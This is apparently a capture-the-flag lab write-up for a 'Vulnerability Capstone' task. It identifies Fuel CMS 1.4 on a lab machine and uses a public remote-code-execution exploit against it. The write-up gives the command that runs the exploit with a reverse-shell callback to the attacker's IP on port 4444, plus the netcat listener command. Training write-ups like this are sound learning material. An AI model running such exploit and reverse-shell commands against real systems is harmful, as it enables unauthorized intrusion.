---
description: February 27, 2024
---

# Vulnerability Capstone

Task 1: Introduction

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fy8zEASkaZht6Bl4D61Bt%2Fimage.png?alt=media&#x26;token=916dc9b8-c017-413a-902c-db02b09fcc90" alt=""><figcaption></figcaption></figure>

Task 2: Exploit the Machine (Flag Submission)

First once we launched the machine we will visit their webpage&#x20;

Just by viewing the html page the web application that is being used here is "Fuel CMS" and its version is 1.4.&#x20;

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FxR3Oe28Nptir1Qee9f65%2Fimage.png?alt=media&#x26;token=aa0be82c-c779-4870-a74e-f63c1450fb4b" alt=""><figcaption></figcaption></figure>

The first thing that i had in my mind is that I will search for a exploit that is related to that web application and its version. Then after few searches in the google I found this RCE for the Fuel 1.4.&#x20;

I just download the raw code&#x20;

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FbpIL9XMQnvPWa6pqScPJ%2Fimage.png?alt=media&#x26;token=9aa39bb3-6334-464d-8997-f71a4b6052fc" alt=""><figcaption></figcaption></figure>

Now I will save the raw code to exploit.py and run it with an active netcat listener in port 4444

```
python3 exploit.py http://10.10.185.42 10.9.193.229 4444
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F0kwJ8Mb2ujaHXavoqSb2%2Fimage.png?alt=media&#x26;token=8d0b16c6-3035-4144-bd95-cbd8d6965762" alt=""><figcaption></figcaption></figure>

```
nc -lnvp 4444
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fff2TmJQkGgk9HFm9tvvi%2Fimage.png?alt=media&#x26;token=bede042d-302e-4a23-b524-b2889f78f361" alt=""><figcaption></figcaption></figure>
